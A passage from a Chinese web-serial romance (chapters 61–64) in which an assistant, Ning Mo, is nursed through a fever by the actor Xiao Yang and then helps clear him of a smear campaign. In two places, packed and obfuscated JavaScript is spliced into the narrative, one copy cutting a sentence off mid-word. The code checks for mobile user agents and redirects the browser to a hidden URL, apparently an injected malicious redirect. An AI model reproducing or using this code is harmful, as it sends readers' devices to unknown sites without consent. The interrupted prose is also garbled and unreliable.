“……”宁茉开始后悔自己这几天都戴着那个智能手表了。 见她沉默不语，萧扬很轻地叹了口气：“所以，昨晚也没睡好，是吗？” 宁茉垂下眼眸，脸色还是潮红的，此刻却又泛出一种略带心虚的白，喉咙也开始发干。 她起身想去给自己倒杯水，站起来又突然后悔：她的动作幅度太大了，脑袋瞬间开始发晕，随后眼前一黑，整个人晃了一下。 “小心！” 与萧扬声音一同传来的，是他温暖又坚实的手臂，一把抱住了险些栽倒的宁茉。 61. 第 61 章 “……” 宁茉回过神来的时候，自己正靠在萧扬身上，他的手臂环抱过自己的腰，另一只手扶在自己后背上。 “头晕吗？”萧扬关切的声音就在自己头顶响起。 …… 宁茉的脸瞬间升温，一路红到了脖子，心跳以一种可以察觉的速度加速，一双手无所适、从不知道该放哪里，眼睫更是慌乱地眨了眨。 萧扬见她半天没应声，低声叹气道：“……你还是去睡一会儿吧。” 下一秒天旋地转，宁茉没看清萧扬的动作，只感觉浑身一轻，随后整个人被萧扬轻松地打横抱了起来。 “诶……”她愣了一下，失去重心的身体下意识抱住萧扬的脖子，等意识到自己的样子时，又整个僵住了。 来自萧扬身上的雪松和草木清香不断地涌向她，宁茉几乎停止了思考，她都来不及想此刻萧扬的举动是否过于亲密，脑海里像是突然切换到了空白模式，连反应都十分迟钝。 萧扬倒是神色如常，抱着她径直走到卧室。 直到宁茉被轻轻放在床上，站在床边的人又理好被子，规整地盖在她身上。 “……” 他似乎轻声说了一句话，但宁茉没听清，她的思绪像漂浮的雾气，又像断触的电路，一时半会很难连通。 卧室的灯光是暖黄色的，宁茉就这样靠坐在床头，直盯盯地看着站在床边的人。 萧扬对上她茫然的视线，眼底露出笑意，问道：“怎么呆住了？困了？” 像是某种冻僵了的小动物突然回温，宁茉缓慢地眨了眨眼，将被子往上拉，同时整个人慢慢缩进了被窝里，留给萧扬一个安静的背影。 萧扬于是体贴地关掉了床头的灯，轻声道：“睡吧，一个小时后我再来量体温。” ……也就是说，他并没有离开的打算，还打算继续照顾宁茉。 萧扬走出了卧室，离开时不忘轻轻带上门，而卧室里，宁茉双眼大睁，在被窝里翻了个身，重新坐了起来，思维终于开始继续流动。 刚才…… 被人拥在怀里的触觉还没有褪去，宁茉摸了摸自己的脸，烫的分不清是发烧的缘故还是因为害羞。 而且……她简直像刚刚恢复了听觉，延迟了这么久才意识到抱着自己时，萧扬说的话。 “——怎么这么轻，像没重量似的。” 宁茉将头猛地埋进膝盖，深吸一口气，又重重吐了出来。 她的呼吸开始颤抖，连带着气息、声音，再到胸腔。 眼眶开始酸胀发红，宁茉捏着被角，自暴自弃般倒回床上。 好像……无论她怎么逃避、怎么不承认，都已经无济于事，有些东西已经在不知不觉中变化了太多。 自从那个夜晚，那个她袒露心扉的夜晚起，她对萧扬的态度、萧扬对她的态度，都有了微妙的改变。 宁茉明明知道，她比任何人都要敏锐、都要事先察觉，却因为她的胆怯、她的犹豫，让两个人的关系不断停滞、后退，甚至割裂，偏偏她又觉得，也许这才是她希望看到的。 不要有人靠近她，不要想依靠任何人，这是她赖以生存的法则，是她曾经能继续生存的根基。 可这些纠结、犹豫、痛楚，在萧扬面前统统不管用，萧扬就好像根本不受她的影响，明明她自以为清晰地释放了信号，对方却像是根本没有接收到。 ——或者说，他接收到了，但他并不理会，只是一味地坚定向前。 她脑海中那个危险的边缘地区，那个警报频发的晦暗地带，就这么被萧扬大咧咧地闯进来，并且毫不犹豫、并不惧怕。 宁茉双眼失焦，盯着空中某一点，暗夜里有月光透过窗户照进来，微弱的光亮下，她那双眼睛愈发漆黑，映着盈盈月色，波光潋滟。 …… 萧扬再次敲门已经是一个半小时以后，他没听到里面的回应，轻轻推开门，打开了卧室的房间灯。 宁茉正安静地睡着，她这会儿似乎睡得安稳了些，眉头不像之前总是紧皱着，但她的姿势却十分别扭，整个人横在床上，身上连被子也没有，萧扬想象不到她是怎么睡成这个姿势的。 犹豫了两秒，萧扬没有将她挪回来，而是把被子重新展开、盖在她身上，宁茉入睡很困难，想必睡眠一定也很浅，萧扬担心自己一碰她，她会再醒过来。 再次测量了温度，萧扬定睛看着温度计上的数字，终于松了眉头。 37.8℃，虽然还是有点发烧，但总归比之前好多了。 宁茉又出了不少汗，萧扬将毛巾用温水浸湿，耐心地慢慢擦她脸上的汗，抚过脸颊的瞬间，他修长的指尖僵了一下，不可自控又含有私心般，用食指轻轻蹭了一下宁茉的脸颊。 柔软温热的触感自指尖传来，萧扬垂下眼睫，耳尖微红，心虚地收回手指，目光却忍不住停驻在面前安静睡着的女孩子脸庞上。 宁茉一向是安静的，温柔的，此刻的她却格外显出一种柔软无害，让人忍不住地心疼，想尽可能地保护她、呵护她。 萧扬的目光下移，移到她的左手上，被子只盖住了她的手腕，苍白的手指依旧露在外面。 他拉住被子要往上盖，却在被子即将盖上的瞬间停手。 浦世诚那句话突兀地浮现在脑海中，醒目刺耳： “——你这闪闪发光的大明星，她能接受的了吗？” 那时萧扬的回答坚定有力，可声音底色里微带的颤抖，却泄露了他的真实想法。 “……我这样的人，”萧扬声音低的几不可闻，眼眸紧紧望着宁茉，望了许久后，终于放下被子，转而轻握住宁茉的指尖。 “——你会喜欢吗？” …… 宁茉这一觉睡得很沉。 醒来的时候隐约感觉窗外的光线已经暗下来，大概天已经黑了。 她慢慢坐起来，摸索着开了房间灯，随后一眼就看到放在床头的一杯水，竟然还冒着热气。 几乎是同时，卧室的门被人拧开了。 宁茉心念一动，立刻抬头看过去，却没有看到预想中的人。 宋依依推开门，一脸惊喜：“茉茉，你睡醒啦。” 宁茉眼中的光芒黯淡了一瞬，随后看着对方问道：“……依依？你怎么在这儿。” “浦哥让我来的，他说你发烧了，给我放了一下午假，让我来照顾你。” 宋依依一边说，一边拿着温度计走进来：“但我看你一直睡得很沉，就没有吵醒你。” “谢谢啊，太麻烦你们了。”宁茉有些抱歉，自己生病耽误工作，却让工作室里的人前前后后为她奔波。 “这怎么能说是麻烦呢，都是自己人，”宋依依给她量了体温，看到上面显示的温度，松了口气，“太好了，终于退烧了。” 她转头又看向宁茉：“你可不要总是这么客气，你为工作室付出了这么多，现在你生病了，我们理当来照顾你呀。” 她摇头晃脑地笑道：“我们可不是那种万恶的资本家，员工病了不管不问的，要不是萧扬哥下午实在有拍摄走不开，他也一定会来的。” 提到萧扬，宁茉眨眨眼，放慢了语速：“萧扬他……什么时候走的？” “唔……大概是下午两点左右吧，我来的时候他刚走，还把钥匙给了我。” “对了，他还给我们点了晚饭，”宋依依笑的很开心，“是一家超好吃的茶餐厅！你饿不饿？我把餐给你拿过来。” “不用不用，我出去吃。”宁茉起身披了件衣服，走到了客厅的沙发前，两个人一起坐了下来开始吃饭。 宋依依一边吃，一边不停地看着手机，似乎有什么事情让她很在意。 宁茉翻到沙发上早就没电的手机，插上充电头给手机充电。 开机的瞬间，微信里无数消息雪花般蹦出来，让她愣了一下。 低头一看，竟然有一大半是来自工作室的微信群。 “……群里怎么这么多消息？” 宋依依眼睛腾的一下亮了：“你不知道，今天发生了不少事儿呢！你快看微博，现在都吵成一锅粥了。” “啊？” 宁茉点开微博，立刻就看到热搜上明晃晃的“萧扬”两个字，后面跟着的词条和昨晚差不多，却突兀地多了一个十分刺眼的词条：#耍大牌# ？！ 宁茉忙点开内容，发现她错过了不少事情，昨晚《欢乐对对碰》播出后，萧扬在网上的热度不断攀升，隐隐有超过几位主演的趋势。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980067|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 就在这时，某个不知名营销号突然爆料，说萧扬只是表面看起来谦卑礼貌，实则脾气很差、爱耍大牌，不仅在综艺录制现场不配合宣传，还私自取消了综艺开场舞原定的和乔娜娜的互动环节，在综艺上也欺负同组女演员，让乔娜娜都不敢和他有任何互动。 《风暴降临》中本身就有不少阑牧和校花尤丽的cp粉，加上最近各方盯着萧扬动态的人，一看到消息，第一时间指责起萧扬不配合宣传，还没火就想甩掉乔娜娜、自己享受爆剧红利。 当然，也有人质疑营销号的话，让对方拿出证据，没想到营销号还真发了一小段视频，是《欢乐对对碰》的彩排画面，画面中乔娜娜在彩排开场舞，在开场舞结束时，她和替代萧扬位置的工作人员互动了几个动作，正是当初宁茉在现场时看到的那几个乔娜娜要求增加的互动。 这几个互动十分亲密，和综艺播出时的开场舞区别很大，结合综艺上乔娜娜在跳开场舞时全程笑的都很勉强，之后在节目录制里更是几次三番拒绝和萧扬一组，反而去和海文成频繁互动，更像印证了营销号说的“乔娜娜不敢和萧扬互动”。 这么一来，众人像是得到了实际证据，立刻涌到萧扬微博痛骂，同时不乏一些趁机挑事的营销号添油加醋，硬生生把萧扬耍大牌刷成了热搜。 宁茉捋了捋时间线：“……也就是说，那天在我们走后，乔娜娜自己彩排时又增加了这个互动？” “不仅如此，”宋依依皱了皱鼻子，“她还提前录制好了视频，打算倒打一耙，说萧扬哥耍大牌。” 宁茉眨了眨眼：“那……工作室那边怎么说？” “当然是立刻发了澄清声明啊，还找了律所，要告那个无良造谣营销号。” “……”宁茉沉默几秒，“可是这样的澄清，大家会信吗？” 虽然她们清楚到底真相是什么，但在公众看来，一纸声明怎么也不会有对方放出的视频看起来有力可信。 宋依依夹起一个奶黄包塞进嘴里，随即被奶黄包的流沙馅烫的皱起眉头“嘶”了一声，缓了半天才继续说道。 “孙哥查了那个莫名其妙冒出来的营销号，发现背后是好几家公司在合力营销，不止乔娜娜一个。” 宁茉一愣：“你是说……” 宋依依点点头：“萧扬哥的热度升的太快了，一个这么小的角色就能有如此可观的热度，圈里有人坐不住了，想趁着这个机会给他按下去，就算没按下去，也能给萧扬制造一个黑料。” “所以，不管我们怎么解释，他们都会联合多家媒体造势，势要把这盆脏水切切实实地泼到萧扬哥头上。” “那、那我们就任由他们造谣吗？”宁茉有些着急，开始回想当天现场的情况，“我记得彩排现场是有摄像的，我们能不能找节目组拿到彩排时候的视频？证明我们并没有改动作。” 宋依依犹豫了几秒，说道：“霍姐和浦哥找了当时在场的工作人员，他们纷纷发了声明，说原定的动作就是萧扬最终呈现的样子，并不是乔娜娜彩排时的那个版本。” “可这些并没有视频直观呀，”宁茉摇摇头，“既然对方是用视频抹黑我们，我们最好拿出视频回击回去。” 她看向宋依依，对方却只是咬着奶黄包，垂下眼半晌没有说话。 “怎么了？”宁茉立刻意识到不对，“……节目组不愿意给我们视频？” 宋依依点头：“节目组的态度确实是息事宁人最好，所以借口说监控已经过了时效期，找不到了。” “什么！”宁茉气血上涌，“这也太过分了，我们可以找陈昌导演啊，让他来帮忙。” 宋依依顿了一下，突然又说道：“其实也不是没有视频，那天彩排的时候，我想到你说要多留视频资料，当时在台下拍了全程视频……” 宁茉一怔，语气顿时上扬起来，比了个大拇指：“太好了，依依，干得漂亮！” 宋依依却并没有跟着激动，而是沉默了几秒，开口道：“但是……萧扬哥不准我们发。” “……为什么？” 疑惑脱口而出的瞬间，宁茉眼底一怔，自己想到了一种可能。 宋依依看着她的神情，点点头，印证了她的猜想。 “视频里有你。” 62. 第 62 章 “……”宁茉切实地愣了几秒。 宋依依叹了口气：“萧扬哥觉得一方面没必要再去发视频，一方面……他似乎不想让你在这种风口浪尖的时候出现在大众面前。” 一旦视频发布，事态将会立刻反转，但不可避免的，宁茉也会成为画面里的讨论焦点，她那天和萧扬合作了那支舞，镜头里的两个人看起来十分默契，而她站在舞台聚光灯下、镜头里的身影也十分漂亮，很容易让人产生一些暧昧联想。 宁茉安静了一会儿，没有说话。 宋依依见她的神情，安慰她道：“萧扬哥也是为了保护我们，而且就算我们发了视频，谁知道那边还有什么招等着我们呢？所以还不如不去理会。” “暂时先静观其变，等……” “——不行。”宁茉回答的斩钉截铁。 萧扬已经等了三年，好不容易等来这个机会，不能就这样轻易的被抹黑、被诬陷。明明耍大牌、蹭热度的另有其人，凭什么要萧扬来背这个黑锅？ 宁茉抬眼看向宋依依，语气坚定：“视频给我。” “……茉茉，”宋依依握住她的手，有些着急，“虽然我也很希望能让大家知道真相，但我完全能理解萧扬哥的想法，我们还是……” “给我，”宁茉反握住她的手，“没关系的，给我看看。” 宋依依又定定地看了她几秒，发现她丝毫没有退让的意思，只好叹了口气：“……好吧。” 将视频发给她，宋依依还不忘凑过来补充：“绝对不能就这样发出去哦！” “……嗯，我知道。” 宁茉打开剪辑软件，开始给视频打码，她在画面里自己的脸上P了一朵小花花，又裁掉了一些自己占比大的画面，将视频重新剪辑了一遍。 宋依依在一旁看着她操作，神情逐渐惊讶：“茉茉，你什么时候剪辑软件用的这么熟练了？我记得你以前明明不会用来着。” “我入职以后到现在可学习了两个月呢，”宁茉笑道，“还买了剪辑软件的会员，很贵的。” 宋依依眼底冒出星星：“不愧是我们勤奋好学又聪明的茉茉！你也太棒了吧！软件会员找浦哥，他会给你报销的！” 随后，她凑过来又看了一遍视频，满意地点点头：“嗯，这么一来，差不多把你的脸挡的很严实了，虽然还是能看出来是个大美女~” 宁茉笑了：“从哪儿看出来的？” 宋依依眉毛一挑：“这还不是一眼就看出来了？瞧瞧这身材、这身高、这气质，哪怕穿了一身黑也挡不住美女的超绝气质！茉茉，你要是出道，一定会是当红大明星！到时候我就做你的大粉头子，为你冲锋陷阵！” 宁茉被她逗乐了，笑了好一会儿才止住，把视频发给了孙尚万，拜托他用工作室的微博发出去。 孙尚万惊讶了一会儿，很快理解了宁茉的意图，发了出去。 宋依依和宁茉两个人一起坐在沙发上，同时刷着微博看大家的反应，奇怪的是，工作室这篇澄清微博热度很低，几乎没有什么人关注。 “这是被限流了吧？”宋依依十分惊讶，“怎么可能都没人看见啊？” 宁茉却觉得这场景似曾相识，她曾经给萧扬发画稿的时候，也是只拿到极低的浏览量。 直到半小时后，周杉突然转发了这则微博，这篇微博的热度瞬间开始飙升。 作为《风暴降临》的女主演，又是和萧扬、乔娜娜一同录制了综艺的人，她这么一出手，几乎就是敲定了萧扬并没有私自修改彩排动作，反倒是那个嚷嚷着萧扬耍大牌的一方心底有鬼。 有不少吃瓜看热闹的网友全部凑了过来，讨论这个出人意料的反转。 “哇，这也太锤了，萧扬彩排视频和综艺里跳的一模一样！” “而且萧扬这个彩排跟音乐是合拍的，乔娜娜那个彩排连音乐都没有、只有舞台，仔细一看其实和音乐也合不上。” “不愧是敢爱敢恨的杉姐，竟然会直接转发这种澄清微博，太有种了！” “啊啊啊磕到了，阑牧×徐霏霏，剧里剧外都在救赎他，太好嗑了吧！” “没有人在意这个视频里的工作人员吗，身材气质好好啊！” …… 舆论瞬间反转，有网友深觉自己被骗了，转头又去乔娜娜的微博底下要她回应，质问她为什么要凭空造谣萧扬，瞬间就将原本的评论区覆盖了： “第一次见女演员拆自家CP的，这是有多恨啊？” “萧扬明明是按照规定动作跳的舞，怎么到了你那里就多了这么多亲密互动？到底是谁想炒cp？” “不会是想互动萧扬没同意，才恼羞成怒来了这么一遭吧~” “据那天参与了现场录制的别家粉丝说，乔娜娜全程都在贴着海文成，根本就没有理萧扬，我看不是她不敢互动，而是不屑互动吧！” …… “好热闹好热闹，”宋依依乐的在沙发上直跺脚，“这一下看她们怎么说！不承认也没用了。” “你先别急着高兴，我总觉得乔娜娜还要回应。” 宁茉盯着乔娜娜的微博，直觉告诉她，对方应该还会有后续。 晚上八点，乔娜娜开了直播，这本是她宣传新剧的固定流程，然而乔娜娜却在直播上红了眼眶。 她并没有直接提到综艺彩排的事情，反而开始诉说《风暴降临》拍摄时自己有多辛苦，不仅要化特效装躺在地上一动不动装尸体，还要因为男演员的很多镜头多次躺在冰冷的地板上做背景板，为了拍夜戏凌晨三四点还在剧组熬夜，话里话外都在说男演员不体谅她，狠狠地卖了一波惨。 她的粉丝彻底坐不住了，本身就被周衫的突然表态打了个措手不及，挨了半天的骂，现在又看到乔娜娜这么“可怜”，立刻将怒气都转而撒到了萧扬身上，口口声声说他故意不配合宣传，借题发挥，让女演员难堪，又骂他毫无绅士风度，节目彩排这么一点小事都不依不饶的。 很快，多方势力的共同推动下，萧扬又被骂上了热搜。 …… 宋依依目瞪口呆，叹为观止： “我的天呐，这也太不要脸了吧！” “我们不澄清，骂我们故意避嫌、耍大牌，我们澄清，说我们不依不饶、借题发挥……合着怎么说都是她有理呗！我们连呼吸都是错的喽？” “而且这个乔娜娜也太绿茶了吧，我们根本就没有攻击过她，她在这里哭哭啼啼的，什么意思啊？这下搞得我们真像恶人一样，太过分了！！！” 工作室微信群里，浦世诚也难得发了脾气。 [浦世诚：本来想着这件事就此揭过，乔娜娜竟然还发直播卖惨？] [浦世诚：好，既然她不依不饶，我们也奉陪到底！] [浦世诚：不就是打舆论战吗？砸钱谁不会，反击回去！] [孙尚万：我已经在联系公关和营销公司了，公告马上就出。] 宁茉看着群里的消息，若有所思。 宋依依也在盯着群里的动态，她皱了皱眉：“看来这下浦哥是真的生气了，就是不知道买个微博热搜要多少钱？——而且比起买热搜，我觉得现在把我们的黑热搜撤下，似乎更为重要，但这样更贵。” “……” 宁茉思考了一会儿，低头翻开手机里的记事本。 宋依依气的坐不住，起身在房间里转圈圈，余光瞥到宁茉，顿时一愣：“怎么了茉茉？” 宁茉抬眼看向她：“你记不记得，综艺彩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“录音一出，乔娜娜再也没有狡辩的余地了吧！除非你说这是别人捏造的录音，你敢回应吗乔娜娜？” “好惨的萧扬啊！录个剧宣综艺被这么造谣，全自动挨骂五小时……” “我就说萧扬一定不是这种人！他在综艺上自己那么累都要照顾同组女演员的感受，怎么可能是什么耍大牌的人啊，乔娜娜道歉！” “乔娜娜道歉！” …… 不到半小时，＃乔娜娜道歉＃的词条就上了热搜，乔娜娜本人却开始装死，毫不回应。 宁茉见事态已经彻底扭转，就放下心开始收拾客厅里的垃圾，又送宋依依出了门。 “茉茉，你一个人ok吗？不然我再在你这里待一晚上吧？”宋依依停在门口转身看着她，满脸的放心不下。 “回去吧回去吧，我已经没事了，你快回家休息，今天辛苦你了，明天工作室见！”宁茉推着她出了门，又顺手给她塞了不少零食。 等一切尘埃落定，宁茉回到沙发边，有些疲惫地揉了揉眼睛，闭上眼休息了一会儿。 这时，手机突然响个不停，是宋依依接连发来了几条消息。 [宋依依：茉茉！！！快看周衫刚发的微博！大爆料！] [宋依依：哈哈打起来了，这下乔娜娜彻底完蛋了，周衫都出手了～] [宋依依：好热闹啊啊啊啊你快看啊！] “……？”宁茉有些莫名，伸手拿起放到一边的手机，点开了微博，随后立刻就看到一个新的热搜：＃周衫发声＃ 这条热搜后面还标了一个“爆”。 宁茉顿时睁大了双眼，还想仔细看，门铃却突然响了。 ……宋依依激动到跑回来找她八卦了？ 宁茉一边看着热搜，一边起身走到门口打开门：“依依你怎么回……” 一句话没说完，宁茉抬头看着门外的高大人影，顿时愣住了。 是萧扬来了。 63. 第 63 章 和上午见到他时不同，萧扬换了一身衣服，黑色的卫衣卫裤衬得他愈发宽肩窄腰，气场十足，楼道灯光照在他脸上，轮廓清晰，眉眼深沉，像个真人等比放大的BJD娃娃。 这幅样子看的宁茉晃神了几秒，好一会儿才反应过来：萧扬竟然又来了。 “感觉怎么样了？” 萧扬十分自然地进了门，帮宁茉把门带上，又问她的身体状况。 “……感觉好多了，也退烧了。”宁茉随着他走回客厅，犹豫着又补了一句。 “谢谢。” “和我不用说谢谢，”萧扬说着，不动声色瞥了她一眼，顺手地从身后拿了一个盒子出来，“回来的时候路过这家店，顺便买了一个，给你。” 宁茉下意识接过，低头一看，是一家网红甜品店的招牌蛋糕，做成了小海豹的形状，精致可爱。 她在社交媒体上刷到过这家蛋糕店，所有的甜品都要提前预约才能买得到，而且价格昂贵，当然，味道也很对得起价格。 ……萧扬在这么忙碌的赶通告行程里，竟然还想到给她买了一个蛋糕。 萧扬看她愣住，补充道：“……你今天一天都没怎么吃饭，吃点甜的，心情会好。” “谢……”一句脱口而出的谢谢说到一半，宁茉意识到萧扬刚说过不用和他说谢谢，话在嘴里硬生生拐了个弯，“……你今天看微博了吗？” 萧扬平时不太关注微博，大多数关于他自己的消息都是从浦世诚那里得知的，今天微博吵的腥风血雨，宁茉想着也许他还不知道这件事，那就不会受影响…… “看了，”萧扬却看向她，语气干脆，“也要谢谢你，拿出了视频和录音，证明了我的清白。” “……”宁茉笑笑，“身正不怕影子斜嘛，我们没做过，这盆脏水就泼不到我们身上。” “泼不到‘我们’身上……”萧扬重复了一遍她的话，特意加重了“我们”两个字，语气含糊又暧昧，挑眉道，“说的对。” “……” 宁茉快速眨了几下眼，低下头去看手机，转移话题：“啊……对了，刚才周衫好像发微博回应了，我看看她说了什么。” 她故作镇定地坐在萧扬身边，低头一本正经看着手机，余光却忍不住地瞟向身边的人。 萧扬始终在含笑看着她，比起他坦荡的样子，倒显得宁茉自己做贼心虚。 这么一想宁茉突然觉得不对，她挺直腰板，大方地回看了一眼，两人对视三秒后，宁茉终于还是败下阵来，重新低头去看手机屏幕，耳朵瞬间通红。 也在此时，她才慢慢完整看完了周衫的回应微博。 【周衫：为了《风暴降临》的顺利播出，原本不想将此事闹大，但没想到有人如此不顾全大局，那么我也不介意说一句，尤丽原定饰演者是我公司的艺人夏某，开拍两周后，夏某突然被人换掉，变成了乔某饰演这个角色。我本着息事宁人的态度，没有追究这件事，也给夏某补偿了其他影视资源，却没想到拿到尤丽角色的演员如此不珍惜角色，罔顾整个剧组的心血，破坏合同一味炒作，将精心制作的剧集当做自己炒热度的垫脚石。我为我之前的退让感到后悔，也表示将严肃追究乔某的责任，希望娱乐圈不会再有这样不负责任的演员出现，希望《风暴降临》得到它应有的成绩。】 此篇微博一出，瞬间指明了乔娜娜是资方硬塞进来的演员，不仅不敬业，而且破坏合同、背刺剧组。 她的微博评论区已然炸锅： “什么？夏某？和周衫一个公司的话……是夏亦冉吧！啊啊啊我超喜欢的女演员，长得漂亮演技也好！” “我都不敢想要是夏亦冉演这个角色将有多惊艳，而不是现在这位整容科技脸，僵的哭都哭不出来……” “天呐都开拍两周了被踢掉，夏亦冉得多伤心啊……” “原来是资源咖，挤掉别人抢角色，还一点不珍惜，真是白瞎了好资源，滚呐！” “乔娜娜滚出来道歉！！！赔偿剧组损失！！！” 乔娜娜开始不断掉粉，粉丝数量迅速流失，原本还有一些嘴硬的粉丝，最终也在周衫的微博发布后彻底看清了真相，转而开始回踩乔娜娜。 舆论彻底倒向萧扬一方，短短一晚上，萧扬涨了二十多万粉丝。 之后《风暴降临》剧组也出具了违约声明，要追究乔娜娜的责任，她再也没有了辩解的余地。 “……总算是真相大白了。” 宁茉长长地舒了口气，轻飘飘陷进沙发里：“这下没人再有理由骂你了，太好了。” 萧扬很轻地笑了一声：“之前有很多人骂我？” “是啊，他们听风就是雨，胡乱……”说到一半，宁茉顾虑到萧扬的感受，十分体贴地降低了声音，“其实也没有很多人吧，主要是乔娜娜的粉丝们……大部分网友还是明察秋毫的。” 萧扬听出了她的弦外之音，笑道：“怎么又改口了，怕我难过？” “……”宁茉沉默两秒，终于笑着承认，“有一点。” 她又看向萧扬，眨眨眼：“不过，想做大明星，没有一颗坚强的心脏怎么行？这才哪到哪儿呀。” 萧扬来了兴趣，微微靠近她：“那更厉害的是什么？” “那可多了去了，”宁茉一本正经地给他科普，“我以前关注粉圈的时候，各家明星粉丝打的那叫一个腥风血雨，因为一点点小事一句话、一个眼神、一个动作都能吵上热搜，互相恨不得拆了对方的房子，最好把祖坟也一起拆了。” 说着，她摇摇头：“那架势才叫吓人呢，路过的狗都要被骂一句。” 萧扬低低地笑起来：“看来你了解得很清楚。” 宁茉轻巧地眨了两下眼睛：“我只是爱凑热闹，可没有参与过这些骂战。” 萧扬不动声色地追问道：“为什么不参与呢，你不是也追过星吗？” 宁茉丝毫没有听出他话里的陷阱，顺着他的话往下说，像是想到了什么事情，乐得笑出了声：“因为我打字慢，吵不过对方，又容易惹自己生气，就再也不 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萧扬却也跟着站起来，慢悠悠走在她身后。 宁茉垂下目光不去看他，萧扬的视线便从宁茉的脸上移到水壶上，又看向桌子旁的小冰箱。 他的视线停留了一瞬间，突然迈步走到冰箱旁，半蹲了下来。 宁茉余光注意到他的动作，抬眼去看他，随后就看他伸手……将冰箱门上的金属铭牌拿了下来。 铭牌上刻着“阑牧”两个字，显然，这是《风暴降临》杀青时萧扬送她的纪念品，当时萧扬还许诺，这铭牌对应了一个愿望，等萧扬履行了那个愿望，就会收回这个铭牌。 不过已经过了这么久，宁茉不认为萧扬还会记得这件事，就像她早就忘了那个铭牌至今还在冰箱上贴着。 萧扬将金属铭牌在手心里掂了掂，转过头来看她，面上挂起笑容：“那个愿望，你想好了吗？” “……”宁茉一怔。 萧扬笑意加深：“想了这么多天，不会是在酝酿什么很大的计划吧？──可不能太贪心哦。” 宁茉目光渐渐柔和下来：“……那也说不定，我这个人……偶尔就会很贪心。” “没关系，说说看，”萧扬歪了歪头，语气随意，“好在我这个人适应能力也很强。” “……”宁茉有时候真的很佩服萧扬的接话能力，和对同一个话题的执着，两个人绕来绕去，竟然还是回到了这个问题。 萧扬将铭牌在手心抛上抛下，幽幽开口：“不过我有必要提醒你，愿望的前提是──你是我的粉丝。” …… 水壶开始加热，声音吵得人耳膜有些闷，宁茉从水壶旁退开，经过萧扬的时候，犹豫了两秒，还是伸手从他掌心拿走了那个铭牌。 “……知道了。” 萧扬挑了下眉，随后暗暗地笑了。 64. 第 64 章 周杉微博的后续很快就出来了，乔娜娜发了道歉视频，又表示将按照合约赔偿，这件事终于告一段落。 吃瓜群众们吃到完整的瓜心满意足，回顾八卦全程，又发现萧扬实在是个靠谱又低调的人，即便被骂也从不急着辩解，工作室更是有理有据逐条反驳，帮萧扬澄清真相。 有人注意到录音里和乔娜娜对峙的工作人员，纷纷好奇起来。 “这个工作人员是谁呀？感觉她好厉害好聪明的样子~” “她声线明明这么温柔，却一字一句都慷锵有力，怼的乔娜娜毫无反手之力，爱了爱了！” “我家艺人身边能不能也来这么个靠谱的人啊，天天一有事就知道发律师函，看累了……” “话说这位是不是彩排视频里的那个工作人员啊？” “有可能！视频里那个妹妹又白又高身材也很好，说话也这么条理清晰，天呐神仙员工！” 有好事者开始扒萧扬身边的工作人员，从各种花絮图里找工作人员的身影，很快定位到两个人，是萧扬身边经常跟着的两个女助理，但分不清具体是哪一个，这两个人出镜时通常都戴着口罩，只有偶尔的几次没有戴，却因为照片太糊、看不清长相。 宋依依第一个发现自己和宁茉正在被有心人扒料，立刻告诉了浦世诚这件事。 随后，萧扬立刻要求所有宁茉和宋依依露脸的视频图文全部买断，不允许放出，也警告了正在试图找两个人信息的八卦媒体。 很快，关于这位录音中的“神秘女生”的讨论偃旗息鼓，就连这个视频也慢慢消失在网络上。 …… 三天后，萧扬工作室接到了“星芒之夜”直播晚会的邀请函。 一年一度的“星芒之夜”直播晚会，是娱乐圈各大影视公司年终刷脸的重要场合，也是娱乐圈人人关注的盛会晚宴。 萧扬原本不在晚会邀请名单，却在乔娜娜事件后人气暴涨，晚会主办方立刻递了邀请函，邀请他和《风暴降临》剧组一同走红毯。 晚会举办地点在新城，霍研加急定了去新城的机票，又安排宁茉跟着去这次活动。 彼时宁茉正在工位上跟王墨学习用相机拍照，听到霍研的安排一怔，抬头看向她：“我一个人跟行程？” “嗯，浦世诚和王墨最近几天在对接《如意环》剧组，抽不开身，你跟着去吧。” 宁茉犹豫了几秒，她已经许久没有跟萧扬的行程了，而这次竟然是单独和萧扬出行：“那依依……” “依依这星期跟着我做商务对接，最近有个商务正在洽谈的关键时期，就不让她去了，”霍研察觉到宁茉似乎有些怯场，低头看向她，“你一个人OK吗？” “……”宁茉抿了抿嘴，终于还是点了头，“可以的。” …… 其实不太可以。 在宁茉独自和萧扬坐上去机场的车后，宁茉看了看前面专心致志开车的王墨，又瞟了一眼身旁闭目养神的萧扬，低低叹了口气：早知道坚持换人了，或者再拉一个人过来。 但现在才开始敲退堂鼓显然是来不及了，宁茉给自己悄悄打打气，低头开始看手机里孙尚万发来的行程安排。 直播晚会八点正式开始，在这之前会有一个走红毯的流程，《风暴降临》的红毯时间在六点四十，也就是说萧扬六点前要做好妆造、去候场区等待。 晚会上穿插了颁奖和演出环节，当然萧扬和这些都没什么关系，他目前唯一的出镜任务就是在走红毯时多多宣传一下《风暴降临》，如果陈昌有预热《如意环》的打算，萧扬还需要和《如意环》的几位主演互动。 微博上已经铺满了关于“星芒之夜”的热搜，大都是粉丝在期待阵容，其中人气最高的几位都是当红明星，宁茉还在里面看到了“白野”的名字。 而白野的相关微博下，一大堆粉丝正在兴奋期待中。 “哈哈好期待白野的红毯！一定又是大杀四方～” “啊啊啊好久没见小野了，据说这次是为了宣传新剧《逾越》，不仅有单人红毯，还会和剧组一起走红毯～” “我们野帝红毯必是压轴，身高腿长大帅脸，其他男明星们有难咯～” ……白野。 宁茉默念了一遍这个名字，也不知道是什么缘分，这个人总是和萧扬同时出现，就像五年前宁茉去剧组探班的那一次，白野也在萧扬身边。 只是两个人现在处于截然不同的境地，白野粉丝千万，万人瞩目，走到哪里都是视觉中心，每年“星芒之夜”晚会都会获得无数热搜与关注。 而萧扬明明和他在同一起点，现在却依旧籍籍无名，还在演配角，五年来第一次拿到“星茫之夜”晚会的邀请函。 